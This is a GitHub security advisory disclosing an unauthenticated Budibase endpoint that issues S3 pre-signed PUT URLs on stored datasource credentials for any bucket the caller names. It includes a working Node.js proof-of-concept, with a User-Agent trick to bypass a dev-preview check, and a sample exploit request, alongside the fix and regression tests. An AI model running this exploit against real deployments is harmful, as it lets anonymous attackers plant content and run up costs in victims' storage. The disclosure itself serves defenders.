Skip to content

Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials

High severity GitHub Reviewed Published May 28, 2026 in Budibase/budibase • Updated Jul 21, 2026

Package

npm @budibase/server (npm)

Affected versions

< 3.39.0

Patched versions

3.39.0

Description

Summary

The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket.

The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.

Net effect: an anonymous attacker who knows or can enumerate a workspace id (app_...) and an S3-source datasource id (ds_...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.

Affected code

packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18):

import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"

const { BUILDER, PermissionType, PermissionLevel } = permissions

const router: Router = new Router()
// ...
router
  .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
  .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
  .post(
    "/api/attachments/:tableId/upload",
    recaptcha,
    paramResource("tableId"),
    authorized(PermissionType.TABLE, PermissionLevel.WRITE),
    controller.uploadFile
  )
  // ...
  .post(
    "/api/attachments/:datasourceId/url",
    recaptcha,
    controller.getSignedUploadURL                       // <- no authorized(...)
  )

Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not.

packages/server/src/api/controllers/static/index.ts:595-645:

export const getSignedUploadURL = async function (ctx) {
  let datasource
  try {
    const { datasourceId } = ctx.params
    datasource = await sdk.datasources.get(datasourceId, { enriched: true })
    if (!datasource) {
      ctx.throw(400, "The specified datasource could not be found")
    }
  } catch (error) {
    ctx.throw(400, "The specified datasource could not be found")
  }

  let signedUrl, publicUrl
  const awsRegion = (datasource?.config?.region || "eu-west-1") as string
  if (datasource?.source === "S3") {
    const { bucket, key } = ctx.request.body || {}
    if (!bucket || !key) {
      ctx.throw(400, "bucket and key values are required")
    }
    try {
      let endpoint = datasource?.config?.endpoint
      if (endpoint && !utils.urlHasProtocol(endpoint)) {
        endpoint = `https://${endpoint}`
      }
      const s3 = new S3({
        region: awsRegion,
        endpoint,
        credentials: {
          accessKeyId: datasource?.config?.accessKeyId as string,
          secretAccessKey: datasource?.config?.secretAccessKey as string,
        },
      })
      const params = { Bucket: bucket, Key: key }
      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
      if (endpoint) {
        publicUrl = `${endpoint}/${bucket}/${key}`
      } else {
        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
      }
    } catch (error: any) {
      ctx.throw(400, error)
    }
  }

  ctx.body = { signedUrl, publicUrl }
}

sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env.* }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.

recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.

Reproduction

Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):

#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>

"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")

function postJson(targetUrl, headers, body) {
  return new Promise((resolve, reject) => {
    const u = new URL(targetUrl)
    const lib = u.protocol === "https:" ? https : http
    const payload = Buffer.from(JSON.stringify(body), "utf8")
    const req = lib.request(
      {
        method: "POST",
        protocol: u.protocol,
        hostname: u.hostname,
        port: u.port || (u.protocol === "https:" ? 443 : 80),
        path: u.pathname + u.search,
        headers: Object.assign(
          {
            "Content-Type": "application/json",
            "Content-Length": payload.length,
            // Deliberately not a recognised browser UA so the
            // currentWorkspace dev-preview redirect does not fire.
            "User-Agent": "budibase-poc/1.0",
          },
          headers || {}
        ),
      },
      res => {
        const chunks = []
        res.on("data", c => chunks.push(c))
        res.on("end", () =>
          resolve({
            status: res.statusCode,
            body: Buffer.concat(chunks).toString("utf8"),
          })
        )
      }
    )
    req.on("error", reject)
    req.write(payload)
    req.end()
  })
}

async function main() {
  const [baseUrl, appId, datasourceId] = process.argv.slice(2)
  if (!baseUrl || !appId || !datasourceId) {
    console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
    process.exit(2)
  }
  const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket"
  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`
  const url = baseUrl.replace(/\/$/, "") +
    `/api/attachments/${encodeURIComponent(datasourceId)}/url`
  const resp = await postJson(
    url,
    { "x-budibase-app-id": appId },
    { bucket, key }
  )
  console.log(`HTTP ${resp.status}`)
  console.log(resp.body)
}

main().catch(err => {
  console.error(err)
  process.exit(1)
})

Wire-level request:

POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1
Host: budibase.example:10000
x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
Content-Type: application/json
User-Agent: budibase-poc/1.0
Content-Length: 36

{"bucket":"victim-bucket","key":"x.html"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject",
  "publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html"
}

The attacker then PUTs arbitrary bytes to signedUrl and they land at publicUrl, signed by — and IAM-scoped to — the victim's stored S3 credentials.

The existing test that exercises the endpoint, packages/server/src/api/routes/tests/static.spec.ts:123-146, sends the same request with config.defaultHeaders() (a builder auth cookie). That confirms the request shape; no negative-auth test (.set({}) or publicHeaders()) exists for this route, which is how the missing authorized(...) slipped past code review.

Impact

  • Confidentiality / Integrity: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The bucket parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back publicUrl), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.
  • Availability: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.
  • Authorization scope leak: the endpoint discloses (a) whether a given datasourceId exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved publicUrl which includes the region.

No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen bucket/key.

Suggested fix

Attach authorized(PermissionType.TABLE, PermissionLevel.WRITE) (or a higher gate, e.g. BUILDER, depending on intended audience) to the route, mirroring the sibling /api/attachments/:tableId/upload registration. Additionally, validate that the requested bucket matches datasource.config.bucket so the IAM blast radius is reduced to the configured bucket only.

Minimal patch shape:

.post(
  "/api/attachments/:datasourceId/url",
  recaptcha,
  paramResource("datasourceId"),
  authorized(PermissionType.TABLE, PermissionLevel.WRITE),
  controller.getSignedUploadURL
)

And in the controller, before calling getSignedUrl:

const configuredBucket = datasource?.config?.bucket
if (configuredBucket && bucket !== configuredBucket) {
  ctx.throw(400, "bucket does not match configured datasource bucket")
}

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Fix PR

A candidate fix has been prepared on the temporary private fork that was created from this advisory:

The patch is the canonical two-part fix:

  1. Attach authorized(BUILDER) to POST /api/attachments/:datasourceId/url on packages/server/src/api/routes/static.ts, mirroring the surrounding POST /api/attachments/process and POST /api/pwa/process-zip registrations. Anonymous callers now receive 401 regardless of whether the recaptcha middleware fails open.
  2. Pin Bucket to datasource.config.bucket inside getSignedUploadURL (packages/server/src/api/controllers/static/index.ts) and ignore any bucket value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.

Two regression tests are added in packages/server/src/api/routes/tests/static.spec.ts:

  • should reject unauthenticated callers (anonymous request with config.publicHeaders() now returns 401, was 200 before).
  • should ignore a client-supplied bucket and pin to the datasource's configured bucket (authenticated request with body { bucket: "other-bucket", key: "bar" } returns a signed URL bound to foo.s3.eu-west-1.amazonaws.com/bar, not other-bucket).

Test run on the patch (Jest, packages/server):

PASS src/api/routes/tests/static.spec.ts
  /static
    /attachments
      generateSignedUrls
        v should be able to generate a signed upload URL
        v should reject unauthenticated callers
        v should ignore a client-supplied bucket and pin to the datasource's configured bucket
        v should reject when the datasource has no configured bucket
        v should handle an invalid datasource ID
        v should require a key parameter

References

@mjashanks mjashanks published to Budibase/budibase May 28, 2026
Published to the GitHub Advisory Database Jun 22, 2026
Reviewed Jun 22, 2026
Published by the National Vulnerability Database Jun 26, 2026
Last updated Jul 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(35th percentile)

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-50137

GHSA ID

GHSA-35c4-rvc8-frhm

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.